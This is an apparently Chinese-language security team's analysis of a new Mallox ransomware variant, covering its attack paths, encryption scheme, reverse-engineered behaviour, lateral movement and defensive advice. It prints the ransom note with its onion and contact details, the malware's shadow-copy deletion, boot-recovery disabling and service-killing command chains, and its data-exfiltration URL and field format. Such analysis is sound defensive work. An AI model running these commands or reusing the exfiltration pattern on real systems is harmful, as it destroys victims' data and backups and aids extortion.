文章总结: 文章详细分析了Mallox勒索软件家族的新版本,包括其加密算法(使用AES-128-CTR和ChaCha20)、攻击路径(主要针对MS-SQL和ODBC接口)、逆向分析过程以及安全防护建议。文章提供了该勒索软件的详细技术分析,包括文件加密过程、密钥生成机制和横向移动方法,并提出了风险消减措施和安全设备调优建议,帮助企业和个人用户防范此类攻击。
综合评分: 91
文章分类: 恶意软件,漏洞分析,应急响应,勒索软件,逆向分析
【病毒分析】Mallox勒索家族新版本:加密算法全面解析
原创
索勒安全团队
solar应急响应团队
2024年12月5日 17:59
山东
1.背景
1.1 家族信息
Mallox 勒索家族首次于 2021 年 5 月出现。最初,Mallox 勒索家族通过利用未受保护的 Microsoft SQL(MS SQL)来针对 Microsoft Windows 系统。此后,它已演变为影响 Linux 系统和 VMware ESXi 环境。
近年来,Mallox家族显著扩大了其业务。该家族已转型为勒索软件即服务(RaaS)模式,招募了合作伙伴以扩大其影响力。这一转变导致相关活动显著增加,2023 年中期观察到激增。
1.2 暗网地址介绍
与其他勒索软件类型一样,Mallox家族通过加密数据和威胁泄露被盗信息来实施双重勒索策略,除非支付赎金。这种策略对组织来说尤其危险,因为数据泄露的可能性增加了满足赎金要求的压力。
为了进一步对受害者施加压力,该组织在暗网上运营一个专门的泄密网站,发布拒绝支付赎金的受害者被盗数据。泄密网站定期更新新的受害者及其受损数据,充当公开羞辱平台和进一步货币化其攻击的手段。
每个受害者都会在勒索信中获得一个私钥,用于与Mallox家族互动并协商条款和付款。
输入私钥后会进入唯一的聊天框页面,该页面会展示赎金金额、mallox家族比特币钱包地址及聊天框等信息。
1.3 攻击路径
Mallox 主要通过利用易受攻击且公开暴露的服务获得初始访问权限,特别关注 MS-SQL(Microsoft SQL Server)和 ODBC(开放数据库连接)接口。其常见的攻击目标包括旧版远程代码执行(RCE)漏洞的未修补实例,例如 Microsoft SQL Server 中的 CVE-2019-1068 和 Microsoft SQL Server Reporting Services 中的 CVE-2020-0618。
此外,该组织还频繁采用暴力破解手段,针对暴露于公共互联网的弱配置服务和应用程序进行攻击。在近期的活动中,Mallox 攻击者通过对弱 MS-SQL 接口发起字典暴力攻击,成功获取初始访问权限。不过,据了解,Mallox 的关联团体还使用其他攻击媒介,例如通过网络钓鱼电子邮件投递 Cobalt Strike 和 Sliver 攻击框架。
2.恶意文件基础信息
2.1 加密器基本信息
| 文件名: | mallox.exe |
| — | — |
| 编译器: | Microsoft Visual C/C++(2017 v.15.5-6)[EXE32] |
| 大小: | 197120(192.50 KiB) |
| 操作系统: | Windows(XP) |
| 架构: | 386 |
| 模式: | 32 位 |
| 类型: | GUI |
| 字节序 | LE |
| MD5: | b54d7da0fe6869006ffd3b9b470f0dc4 |
| SHA1: | 5d0b9521cca0c911d49162e7f416a1463fbaefae |
| SHA256: | df29d5c4a750663440ce76d6804ce88e03faeef9591ec0b3b9ca348a6c930b7f |
2.3 勒索信
FILE RECOVERY.txt
Hello
Your files are encrypted and can not be used
To return your files in work condition you need decryption tool
Follow the instructions to decrypt all your data
Do not try to change or restore files yourself, this will break them
If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB
How to get decryption tool:
1) Download and install TOR browser by this link: https://www.torproject.org/download/
2) If TOR blocked in your country and you can't access to the link then use any VPN software
3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin
4) Copy your private ID in the input field. Your Private key: 2E2F09F7A49A1A578998935C
5) You will see payment information and we can make free test decryption here
Our blog of leaked companies:
wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion
If you are unable to contact us through the site, then you can email us: [email protected] for a response via mail can be several days. Do not use it if you have not tried contacting through the site.
3.加密后文件分析
3.1 威胁分析
| 病毒家族 | mallox |
| — | — |
| 首次出现时间/捕获分析时间 | 2024/03/18 |
| 威胁类型 | 勒索软件,加密病毒 |
| 加密文件扩展名 | .mallox |
| 勒索信文件名 | FILE RECOVERY.txt |
| 有无免费解密器? | 无 |
| 联系邮箱 | [email protected] |
| 检测名称 | Avast (Win32:Malware-gen), AhnLab-V3 (Trojan/Win.Generic.C5576951), ALYac (Gen:Variant.Tedy.512515), Avira (no cloud) (TR/Ransom.imrnt), BitDefenderTheta (Gen:NN.ZexaF.36802.yq0@aSdxC8m), CrowdStrike Falcon (Win/malicious_confidence_100% (W)),Cylance(Unsafe),DeepInstinct(MALICIOUS),Emsisoft(Gen:Variant.Tedy.512515 (B)),ESET-NOD32(A Variant Of MSIL/Filecoder.LU),GData(Gen:Variant.Tedy.512515), Ikarus (Trojan.MSIL.Crypt),K7GW(Trojan ( 0052f4e41 )) |
| 感染症状 | 无法打开存储在计算机上的文件,以前功能的文件现在具有不同的扩展名(例如,solar.docx.mallox)。桌面上会显示一条勒索要求消息。网络犯罪分子要求支付赎金(通常以比特币)来解锁您的文件。 |
| 感染方式 | 受感染的电子邮件附件(宏)、恶意广告、漏洞利用、恶意链接 |
| 受灾影响 | 所有文件都经过加密,如果不支付赎金就无法打开。其他密码窃取木马和恶意软件感染可以与勒索软件感染一起安装。 |
3.2 加密的测试文件
3.2.1 文件名
sierting.txt
3.2.2 具体内容
3.2.3 加密文件名特征
加密文件名 = 原始文件名+.mallox ,例如:sierting.txt.mallox
3.2.4 加密文件数据特征
文件末尾会多100 bytes大小的内容,数据结构为:
3.2.5 加密算法
AES-128-CTR(用于加密ChaCha20密钥)
KEY生成 由cure25519算法产生的share_key的sha256的前16位组成。
IV生成
由CryptGenRandom函数生成4字节大小的数据当做梅森旋转算法的种子,然后生成256组随机数据,取最后4组,一组4个字节大小的数据为IV。
ChaCha20(用于加密文件)
KEY生成 由CryptGenRandom函数生成4字节大小的数据当做梅森旋转算法的种子,然后生成256组随机数据,取最后10组,一组4个字节大小的数据为KEY和nonce,Key则为前8组,32字节大小的数据。
Nonce生成
由CryptGenRandom函数生成4字节大小的数据当做梅森旋转算法的种子,然后生成256组随机数据,取最后10组,一组4个字节大小的数据为KEY和nonce,Nonce则为最后2组,8字节大小的数据。
3.2.6 释放文件
勒索信(FILE RECOVERY.txt)
文件内容
Hello
Your files are encrypted and can not be used
To return your files in work condition you need decryption tool
Follow the instructions to decrypt all your data
Do not try to change or restore files yourself, this will break them
If you want, on our site you can decrypt one file for free. Free test decryption allowed only for not valuable file with size less than 3MB
How to get decryption tool:
1) Download and install TOR browser by this link: https://www.torproject.org/download/
2) If TOR blocked in your country and you can't access to the link then use any VPN software
3) Run TOR browser and open the site: wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion/mallox/privateSignin
4) Copy your private ID in the input field. Your Private key: 2E2F09F7A49A1A578998935C
5) You will see payment information and we can make free test decryption here
Our blog of leaked companies:
wtyafjyhwqrgo4a45wdvvwhen3cx4euie73qvlhkhvlrexljoyuklaad.onion
If you are unable to contact us through the site, then you can email us: [email protected]
Waiting for a response via mail can be several days. Do not use it if you have not tried contacting through the site.
成分分析
其中的2E2F09F7A49A1A578998935C为ID,成分为user_public_key的前12位的值。既加密文件末尾32字节开头的12字节位置的值。
4.逆向分析
4.1 加密器逆向分析
4.1.1 检查系统语言:
进入到Winmain函数可以看到,程序运行的开始会检查系统语言,遇到俄语、哈萨克语、白俄罗斯语、乌克兰语和土库曼语不加密。
4.1.2 调整电源计划:
设置电源计划为高性能模式。
将当前时间戳设置为srand函数的种子
4.1.3 删除指定的注册表和系统的卷影
创建进程删除指定的注册表和影卷
进入到del_RegKeys_shadow函数可以看到具体的实现,删除了指定注册表的键,并且通过vssadmin命令实现删除系统中的所有卷影副本。
4.1.4 删除的注册表
HKEY_CURRENT_USER\SOFTWARE\Raccine
HKEY_LOCAL_MACHINE\SOFTWARE\Raccine
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\Raccine
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vssadmin.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wmic.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wbadmin.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bcdedit.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskshadow.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\net.exe
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe
4.1.5 执行命令
vssadmin.exe delete shadows /all /quiet
4.1.6 禁用系统恢复和停止指定进程
开创一条线程来执行stop_process函数,实现系统恢复的禁用和停止指定的服务
进入stop_process函数可以看到具体实现,通过调用sub_3345BF函数执行命令实现系统恢复的禁用,最后调用sub_335FF6函数实现指定进程的关闭。
进入到sub_3345BF(命令执行)函数可以看到命令执行的具体实现,主要就是通过API函数ShellExecuteW执行cmd.exe+参数
进入到sub_335FF6(关闭服务)函数,可以看到主要调用API函数Process32NextW开始遍历所有进程,然后获取进程的可执行文件进行比较,如果一样就调用API函数TerminateProcess对该进程进行关闭,如果不一样,则遍历下一个进程。
4.1.7 执行命令
cmd.exe /C bcdedit /set {current} bootstatuspolicy ignoreallfailures
cmd.exe /C bcdedit /set {current} recoveryenabled no
4.1.8 停止的进程
sqlserv.exe
oracle.exe
ntdbsmgr.exe
sqlservr.exe
sqlwriter.exe
MsDtsSrvr.exe
msmdsrv.exe
ReportingServecesService.exe
fdhost.exe
fdlauncher.exe
mysql.exe
4.1.9 停止指定服务
创建一个线程执行stop_server函数, 实现对指定服务的关闭。
进入到stop_server函数可以看到具体的实现,可以看到主要就是调用API函数ShellExecuteA实现命令的执行
4.1.10 执行命令
cmd.exe /C sc delete "MSSQLFDLauncher" &&
sc delete "MSSQLSERVER" &&
sc delete "SQLSERVERAGENT" &&
sc delete "SQLBrowser" &&
sc delete "SQLTELEMETRY" &&
sc delete "MsDtsServer130" &&
sc delete "SSISTELEMETRY130" &&
sc delete "SQLWriter" &&
sc delete "MSSQL$VEEAMSQL2012" &&
sc delete "SQLAgent$VEEAMSQL2012" &&
sc delete "MSSQL" &&
sc delete "SQLAgent" &&
sc delete "MSSQLServerADHelper100" &&
sc delete "MSSQLServerOLAPService" &&
sc delete "MsDtsServer100" &&
sc delete "ReportServer" &&
sc delete "SQLTELEMETRY$HL" &&
sc delete "TMBMServer" &&
sc delete "MSSQL$PROGID" &&
sc delete "MSSQL$WOLTERSKLUWER" &&
sc delete "SQLAgent$PROGID" &&
sc delete "SQLAgent$WOLTERSKLUWER" &&
sc delete "MSSQLFDLauncher$OPTIMA" &&
sc delete "MSSQL$OPTIMA" &&
sc delete "SQLAgent$OPTIMA" &&
sc delete "ReportServer$OPTIMA" &&
sc delete "msftesql$SQLEXPRESS" &&
sc delete "postgresql-x64-9.4" &&
taskkill -f -im sqlbrowser.exe &&
taskkill -f -im sqlwriter.exe &&
taskkill -f -im sqlservr.exe &&
taskkill -f -im msmdsrv.exe &&
taskkill -f -im MsDtsSrvr.exe &&
taskkill -f -im sqlceip.exe &&
taskkill -f -im fdlauncher.exe &&
taskkill -f -im Ssms.exe &&
taskkill -f -im SQLAGENT.EXE &&
taskkill -f -im fdhost.exe &&
taskkill -f -im fdlauncher.exe &&
taskkill -f -im sqlservr.exe &&
taskkill -f -im ReportingServicesService.exe &&
taskkill -f -im msftesql.exe &&
taskkill -f -im pg_ctl.exe &&
taskkill -f -im postgres.exe
完成了上述的三个线程的处理函数后,会获取当前可执行文件的文件名
创建三个线程的互斥体
定义窗体的属性与消息处理sub_33679A函数
4.1.11 窗体消息处理
进入到sub_33679A函数可以看到具体的实现,如果遇到窗体关闭的事件,则阻止关闭,返回0,其他的照旧。
完成上述的窗体属性定义后,将调用API函数CreateWindowExW开始创建窗体,然后调用API函数ShutdownBlockReasonCreate对用户进行提醒如下消息:
Do NOT shutdown OR reboot your PC: this might damage your files permanently !
4.1.12 隐藏关机、重启和注销选项
在完成了上述窗体的创建后,将调用sub_3342CE函数实现对指定的注册表的修改,以实现对关机、重启和注销选项的隐藏
HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideShutDown
HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideRestart
HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\PolicyManager\\default\\Start\\HideSignOut
4.1.13 设置远程桌面服务的策略
继续调用sub_3342CE函数对实现对修改注册表的修改,以实现对远程桌面连接的最大持续时间、用户断开连接的最大时间和会话空闲时间的最大值为0。
HKEY_LOCAL_MACHINE\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System 子健:shutdownwithoutlogon
HKEY_LOCAL_MACHINE\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services 子健:MaxConnectionTime
HKEY_LOCAL_MACHINE\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services 子健:MaxDisconnectionTime
SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services 子健:MaxIdleTime
4.1.14 开始加密
完成了上述的服务关停和注册表的修改等行为后,将调用start_enc函数,开始执行文件加密行为。
进入到start_enc函数可以看到具体的实现,首先会获取参数,参数功能如下
| 参数 | 功能 |
| — | — |
| -l | 指定横向感染目标 |
| -p | 优先加密指定文件路径 |
| -path | 只加密指定文件路径 |
参数使用方法
program.exe -l logfile.txt
program.exe -p process.txt
program.exe -path C:\Target\Directory
4.1.15 密钥生成
以下二者若是CryptAcquireContextW函数获取加密对象失败则选择使用运行时间方式当做随机数的种子,如果没有失效则选择CryptGenRandom函数来生成随机数的种子。
第一是通过获取当前系统中各种运行时间和线程进程的ID,将其相乘当做随机数生成的种子
第二是调用API函数CryptAcquireContextW获取一个RSA的加密对象,并且调用API函数CryptGenRandom随机产生4个字节,当做随机数的种子。
经过多次测试,发现会选择第二种,采用CryptGenRandom函数的方式获取随机数种子。
之后会将该种子当做是梅森旋转算法的随机数种子
接着会初始化一个public_key,然后与后面的一组56个字节大小的内容(C盘序列号+CPUID+固定内容+计算机名称)的sha256进行一个cure25519算法的密钥生成。这里命名public_key和56字节大小的数据的sha256产生的share_key为user_private_key
这里命名public_key和56字节大小的数据的sha256产生的share_key为user_private_key,接着再利用这个生产的私钥产生一个对应的公钥,然后再用这个私钥和黑客的hack_public_key生成一个共享密钥share_key。
这里具体可以参考Babyk家族分析中的算法分析那部分的内容,都是一样的。接着会获取该share_key的sha256,其中这个share_key的sha256的前半部分是用于后续AES加密算法的密钥。
完成上述过程后,会先遍历一下C盘下的所有文件,如果无法遍历出现错误则将当前文件句柄关闭。
然后调用sub_E4441C函数,将user_public_key的前12位字符转换成hex的形式,然后将其值当初target_id,用作后续的数据回传的target_id字段。进入到sub_E4441C函数可以看到具体实现,这里将其命名为string_to_hex函数。
接着会调用CreateThread函数,创建一个线程来执行send_network函数。
4.1.16 信息回传
进入到send_network函数可以看到具体的实现,主要就是使用Sleep函数,每隔一段时间段执行sub_E45B7E函数进行数据的回传,最多传七次。
进入到sub_E45B7E函数可以看到具体的回传细节,主要就是向如下URL地址http://193.106.191.141/QWEwqdsvsf/ap.php发送磁盘的文件大小和ID等信息,字段格式如下:
user=%s&TargetID=%s&SystemInformation=%s&max_size_of_file=%s&size_of_hdd=%d
并且上述函数还会创建一个TargetInfo.txt文件,将Target_ID和系统信息等数据写入到其中
完成了上述的回传分析后,将继续执行剩余的加密前的流程。
调用sub_E45423函数来进行文件遍历和数据加密的过程。
4.1.17 加密前的准备过程
进入该函数内部可以看到具体实现。
首先会调用CreateIoCompletionPort函数,来获取IO端口,如果获取失败则退出,成功则进行后续内容。
如果IO端口获取成功,则会调用GetSystemInfo函数来获取系统信息,并且根据处理器的核心数来计算出合适的线程数量,但是最大不超过64。
然后创建指定数量的加密线程,其中加密线程所执行的函数是StarAddress函数。
4.1.18 文件加密
进入到StarAddress函数可以看到具体的实现,其中包括了随机密钥的生成和加密文件的具体过程。
首先会调用梅森旋转算法所生成的随机数种子来生成256组随机数
接下来死循环来不断地调用GetQueuedCompletionStatus函数来获取CompletionPort句柄中的值,可以理解为管道一样的东西,只要后面的目录遍历功能中,调用PostQueuedCompletionStatus函数往该句柄中扔符合条件的文件路径时,这边就会接收到,然后交给下面的操作。
如果CompletionKey=0,则代表接收到的文件路径是文件,则执行enc_file函数,对该文件进行加密操作。如果CompletionKey=1,则代表接收到的文件路径是文件夹,则执行write_ransomware_note函数,向该文件夹中写入勒索信。
这里直接进入到enc_file函数,来看文件加密的具体过程。首先会先获取一下后续AES加密算法的IV,获取方法就是从传入的256组随机数中,取后4组数据,然后一组数据是4个字节组成,一共16个字节。
然后继续接着上面的v7的位置从后往前再取10组数据,一共40个字节,当做ChaCha20加密算法的Key和Nonce。
接着就是开始初始化一下ChaCha20的Key和Nonce还有AES的IV。
调用AES-128-CTR加密算法,来对40个字节的ChaCha20的Key和Nonce数据进行加密。
其中在aes_init函数的初始化部分可以看到key的具体使用,主要去了share_key的sha256的前16个字节的内容。
这里写一个脚本可以模拟一下这个过程:
from Crypto.Cipher import AES
from Crypto.Util import Counter
key = bytes.fromhex('10216AD70100FF7C6EB0644D378AD45656B342CEDA1ABEA90FD950CC416DED3F')[:16]
IV = bytes.fromhex('E4129179C315EBB3B3FC8E6D728D4BDC')
ctr = Counter.new(128, initial_value=int.from_bytes(IV, byteorder='big'))
aes = AES.new(key,AES.MODE_CTR,counter=ctr)
cipher = bytes.fromhex('FA55695D8EC3496153BEC9CCFFBFD8F5A0B3291DEF33A9CF7F54C0EEC84A490339D430F8E0E99077')
plaintext = aes.encrypt(cipher)
print(plaintext)
print(plaintext.hex())
到这里开始,就将进入文件加密的核心环节。
首先会获取文件句柄,如果获取失败则执行下面的错误处理,错误处理这里没什么用就不分析了。
获取到了文件的句柄后,将继续获取文件的大小,并且根据其文件大小来选择合适的加密大小。如果文件大小小于10000字节大小,则不进行加密。反之如果大于10000字节大小,则进行下面的加密内容。
如果文件大小大于10000字节,则会将文件大小分为十个块。如果a4不为0,则循环进行qword_E648F8标志的更新操作,但是这里a4=0,所以不进行如下循环的操作。
接下来,会将本来已经将文件大小分成10个块的大小后,又将每个块分成100个大小,并且每个块的大小必须是4096。
然后开始判断,如果文件的大小大于102400字节大小,则进行进行分块加密,每个块为4096字节大小,如果不足4096字节大小的快,则强行扩展至4096大小。
获取到了每块大小后,循环进行加密,加密算法使用了ChaCha20。
如果文件的大小小于等于102400字节,则直接一次性全部加密,然后写入再写入到文件中。
最后会调用SetFilePointerEx函数将文件指针移向末尾,然后写入100字节的内容,这些内容的大小与结构如下:
以上便是文件内容的全部加密过程。
在完成了文件加密以后将会对文件名进行修改,末尾会加上.mallox的字样,用来说明该文件已被加密。
4.1.19 勒索信写入
在文件加密部分的StarAddress函数中,接收到的路径是文件的,则会进行上述的加密行为,如果是文件夹则会写入勒索信,而写入勒索信的部分的内容则是sub_E44C7B函数实现。
进入到sub_E44C7B函数可以看到具体的实现,首先会先获取一下ID,这个ID跟上面的那个回传使用的target_id是一样的,都是使用了生成的user_public_key的前12位为ID。
然后替换到勒索信{id}中
最后写入勒索信到指定目录中
当分析完毕了文件加密部分的内容以后,继续文件加密前的准备过程部分的剩余内容。
在创建了指定数量的文件加密线程后,将会执行sub_E45326函数来实现横向移动的操作,其中会携带两个参数:
第一个参数是v53,是-l 参数的内容,在开始加密部分即可看到。
第二个参数是sub_E44B1A函数,用来执行复制自身,创建Windows服务,实现持久化操作。
4.1.20 横向移动
进入到sub_E45326函数可以看到具体的实现过程。首先会检查-l参数是否存在内容,如果存在,则会直接向-l参数指定的地址中进行横向移动操作。
如果-l参数并未指定内容,则开始执行else中的内容,调用API函数GetIpNetTable,获取ARP中的所有IP,来对该表中的所有IP来进行横向移动。
具体的横向移动的实现是使用了sub_E44B1A函数实现,进入到sub_E44B1A函数可以看到具体的实现。
主要就是循环来进行文件的复制,复制的文件名为mallox.exe,然后创建windows服务,实现持久化,服务名称为mallox。
完成了上述的持久化以后,将继续回到加密前的准备过程中,执行剩下的文件遍历部分的内容。
4.1.21 目录遍历
目录遍历这部分会遍历所有的物理磁盘还有共享文件夹等内容,基本上流程都是一样的,这里主要分析第一部分。
首先如果-p参数有指定目录的话,会先遍历指定目录中的文件,但是在遍历时需要对遍历到的文件路径进行过滤,这里的文件遍历主要使用了sub_E44E64函数。
进入到sub_E44E64函数可以看到具体的实现,首先会获取完整的文件路径,然后加上遍历通配符,最后获取文件句柄,开始循环遍历。
接着会对遍历的文件进行过滤,首先如果遍历到的文件路径是文件夹,则会对该文件夹进行递归判断,如果允许递归,则会对该路径进行过滤,过滤的字符如下:
msocache
$windows.~ws
system volume information
intel
appdata
perflogs
programdata
google
application data
tor browser
boot
$windows.~bt
mozilla
windows.old
Windows Microsoft.NET
WindowsPowerShell
Windows NT
Windows
Common Files
Microsoft Security Client
Internet Explorer
Reference
Assemblies
Windows Defender
Microsoft ASP.NET
Core Runtime
Package
Store
Microsoft Help Viewer
Microsoft MPI
Windows Kits
Microsoft.NET
Windows Mail
Package Store
Microsoft Analysis Services
Windows Portable Devices
Windows Photo Viewer
Windows Sidebar
如果文件路径是文件,则会对该文件的文件名和文件后缀进行过滤,首先会对文件名进行过滤,过滤的内容如下:
FILE RECOVERY.txt
encode.exe
如果不包含上述内容,则继续向下执行,进行下一层的过滤,过滤内容如下:
.msstyles
.icl
.idx
.avast
.rtp
.mallox
.sys
.nomedia
.dll
.hta
.cur
.lock
.cpl
.Globeimposter-Alpha865qqz
.ics
.hlp
.com
.spl
.msi
.key
.mpa
.rom
.drv
.bat
.386
.adv
.diangcab
.mod
.scr
.theme
.ocx
.prf
.cab
.diagcfg
.msu
.cmd
.ico
.msc
.ani
.icns
.diagpkg
.deskthemepack
.wpx
.msp
.bin
.themepack
.shs
.nls
.exe
.lnk
.ps1
.mallox (重复)
如果文件中不包含上述过滤内容,则会进行下一层的过滤,过滤内容如下:
desktop.ini
ntuser.dat
thumbs.db
iconcache.db
ntuser.ini
ntldr
bootfont.bin
ntuser.dat.log
bootsect.bak
boot.ini
autorun.inf
debugLog.txt
TargetInfo.txt
如果文件中也不包含上述过滤内容,则会进行下一层的过滤,过滤内容如下:
.mdf
.bak
.smd
.dbf
.sql
如果文件包含上述的过滤字符串,则会将v17变量的值从0设置为1。接下来会进行最后一个过滤,但是该过滤会根据a3参数的值来进行判断是否开启,如果开启,则过滤内容如下:
.bak
.zip
.rar
.7z
.gz
.sql
.mdf
.hdd
.vhd
.vdi
.vmx
.vmdk
.nvram
.vmem
.vmsn
.vmsd
.vmss
.lck
.vhdx
.vhd (重复)
.dbf
.ora
.oraenv
.dmp
当遍历的文件如果未包含上述所有的文件名和后缀,则会通过PostQueuedCompletionStatus函数,将该路径放入到CompletionPort中,供文件加密部分的GetQueuedCompletionStatus函数来进行获取并加密。
最后调用FindNextFileW函数循环遍历下一个文件,如果所有文件遍历完毕,则调用FindClose函数关闭文件句柄
然后调用write_ransomware_note函数向遍历的文件夹路径中写入勒索信。
4.1.22 恢复关机、重启和注销选项
在加密完毕以后,将调用sub_3342CE函数实现对指定的注册表的修改,以实现对关机、重启和注销选项的显示,并且允许用在未登录的时候可以关闭计算机。
5.病毒分析概览
在加密过程中,病毒通常采用强加密算法AES,来加密用户的文件,生成唯一的加密密钥。这些加密算法不仅确保了文件的安全性,同时也使得解密过程极为复杂和耗时。为了进一步增加恢复难度,部分病毒会修改系统设置或禁用安全软件和恢复工具,防止用户通过常规手段恢复文件或修复系统。这种操作使得受害者在遭受攻击后几乎无法自行解密文件,迫使其依赖攻击者提供的解密工具。与此同时,病毒通常会在文件加密后显示赎金通知,要求受害者支付特定金额的比特币或其他加密货币,以换取解密密钥或工具。
以下是solar安全团队近期处理过的常见勒索病毒后缀:
| 出现时间 | 病毒名称 | 相关文章 |
| — | — | — |
| 2020/01 | .mkp | 【病毒分析】揭秘.mkp后缀勒索病毒!Makop家族变种如何进行可视化加密? |
| 2024/05 | .moneyistime | 【病毒分析】使用中文勒索信及沟通:MoneyIsTime 勒索家族的本地化语言转变及其样本分析 |
| 2024/09/29 | .lol | 【病毒分析】全网首发!全面剖析.LOL勒索病毒,无需缴纳赎金,破解方案敬请期待下篇! 【工具分享】.LOL勒索病毒再也不怕!完整破解教程分享+免费恢复工具首发 |
| 2024/06/21 | .MBRlock | 【病毒分析】假冒游戏陷阱:揭秘MBRlock勒索病毒及其修复方法 |
| 2024/06/01 | .steloj | 【病毒分析】Steloj勒索病毒分析 |
| 2024/05/27 | .TargetOwner | 【病毒分析】技术全面升级,勒索赎金翻倍,新版本TargetOwner勒索家族强势来袭? |
| 2024/05/17 | .Lockbit 3.0 | 【病毒分析】Lockbit家族Lockbit 3.0加密器分析【成功案例】RDP暴露引发的蝴蝶效应:LockBit组织利用MSF工具及永恒之蓝漏洞进行勒索入侵 【成功案例】lockbit家族百万赎金不必付!技术手段修复被加密的数据库,附溯源分析报告 【病毒分析】繁体勒索信暗藏玄机!要价50万RMB赎金的Lockbit泄露版分析 |
| 2024/05/13 | .wormhole | 【病毒分析】Wormhole勒索病毒分析 |
| 2024/04/09 | .bianlian | 【病毒分析】新兴TOP2勒索软件!存在中国受害者的BianLian勒索软件解密原理剖析 |
| 2024/03/20 | .locked | 【病毒分析】locked勒索病毒分析 |
| 2024/03/11 | .Live1.5 | 【病毒分析】独家揭秘LIVE勒索病毒家族之1.5(全版本可解密) |
| 2024/03/08 | .Live2.0 | 【病毒分析】独家揭秘LIVE勒索病毒家族之2.0(全版本可解密) |
| 2024/03/06 | .Elbie | 【病毒分析】phobos家族Elbie变种加密器分析报告 |
| 2024/03/01 | .lvt | 【病毒分析】交了赎金也无法恢复–针对国内某知名NAS的LVT勒索病毒最新分析 |
| 2024/02/26 | .2700 | 【病毒分析】phobos家族2700变种加密器分析报告 【成功案例】某集团公司的Phobos最新变种勒索病毒2700解密恢复项目 |
| 2024/01/18 | ._locked | 中国人不骗中国人?_locked勒索病毒分析 |
| 2024/01/15 | .faust | 【病毒分析】phobos家族faust变种加密器分析 |
| 2024/01/15 | .DevicData | 【病毒分析】DevicData勒索病毒分析 |
| 2024/01/02 | .jopanaxye | 【成功案例】某集团公司的Phobos最新变种勒索病毒jopanaxye解密恢复项目 |
| 2023/12/01 | .live1.0 | 【病毒分析】独家揭秘LIVE勒索病毒家族之1.0(全版本可解密) |
| 2023/09/05 | .CryptoBytes | 【独家破解】揭秘境外黑客组织的20美元锁机病毒:深度逆向分析+破解攻略!赎金?给你付个🥚 |
| 2023/08/28 | .mallox | 【病毒分析】mallox家族malloxx变种加密器分析报告 |
| 2023/08/02 | .rmallox | 【病毒分析】mallox家族rmallox变种加密器分析报告 【成功案例】间隔数月双团伙先后利用某ERP0day实施入侵和勒索的解密恢复项目 |
| 2023/01/10 | .DevicData-Pa2a9e9c | 【病毒分析】DevicData家族扩散:全球企业和机构成为勒索病毒头号攻击目标! |
| 2023年初 | .halo | 【病毒分析】全网首发!以国内某安全厂商名字为后缀的勒索病毒分析 |
| 2021/05/01 | .mallox | 【病毒分析】Mallox家族再进化:首次瞄准Linux,勒索新版本全面揭秘! |
| 2021年1月初 | .babyk | 【病毒分析】BabyK加密器分析-Windows篇 【病毒分析】Babyk加密器分析-NAS篇 【病毒分析】 Babyk加密器分析-EXSI篇 【病毒分析】Babuk家族babyk勒索病毒分析 【成功案例】利用多款国产内网渗透工具勒索数十台虚拟机的babyk解密恢复项目 |
| 2020/05/18 | .consultraskey-F-XXXX | 【成功案例】解决浙江xx电子有限公司的勒索病毒 |
| 2019/05/01 | .src | 【病毒分析】Phobos家族新变种 .SRC深度分析:揭示持续演变的勒索新威胁 |
勒索攻击作为成熟的攻击手段,很多勒索家族已经形成了一套完整的商业体系,并且分支了很多团伙组织,导致勒索病毒迭代了多个版本。而每个家族擅用的攻击手法皆有不同,TellYouThePass勒索软件家族常常利用系统漏洞进行攻击;Phobos勒索软件家族通过RDP暴力破解进行勒索;Mallox勒索软件家族利用数据库及暴力破解进行加密,攻击手法极多防不胜防。
而最好的预防方法就是针对自身业务进行定期的基线加固、补丁更新及数据备份,在其基础上加强公司安全人员意识。
6.安全建议
#
6.1 风险消减措施
前期处理方法(企业内部):
1.尽快断开被感染设备的网络连接,以防止病毒进一步扩散!
2.请勿中途强制关机,该行为会造成不可逆后果
3.不要尝试自行解密或支付赎金,以免造成更大损失!以下为详细的消减措施:
1. 数据备份策略
定期进行数据备份,并确保备份数据存储在物理隔离的设备或云环境中,避免备份被勒索病毒感染。
实施多重备份策略,如每日、每周、每月备份,以确保在灾难恢复时有多种数据版本可供选择。
2. 系统和应用更新
定期更新操作系统和应用软件,及时打补丁,修复已知的漏洞。
开启自动更新功能,确保始终拥有最新的安全补丁。
3. 邮件和浏览器安全
部署电子邮件安全网关,过滤恶意附件和链接。
培训员工识别钓鱼邮件和恶意链接,提高对社会工程攻击的防范意识。
限制员工对高风险网站(如未经过筛选的下载网站)的访问,减少通过恶意广告和下载感染的风险。
4. 用户权限管理
最小权限原则(Principle of Least Privilege):根据岗位需求分配权限,避免不必要的管理员权限。
禁止员工使用公共账户和共享账号,所有用户需拥有独立的登录凭证。
5. 启用多因素认证(MFA)
为关键系统和远程访问启用MFA,防止账号被未经授权访问。
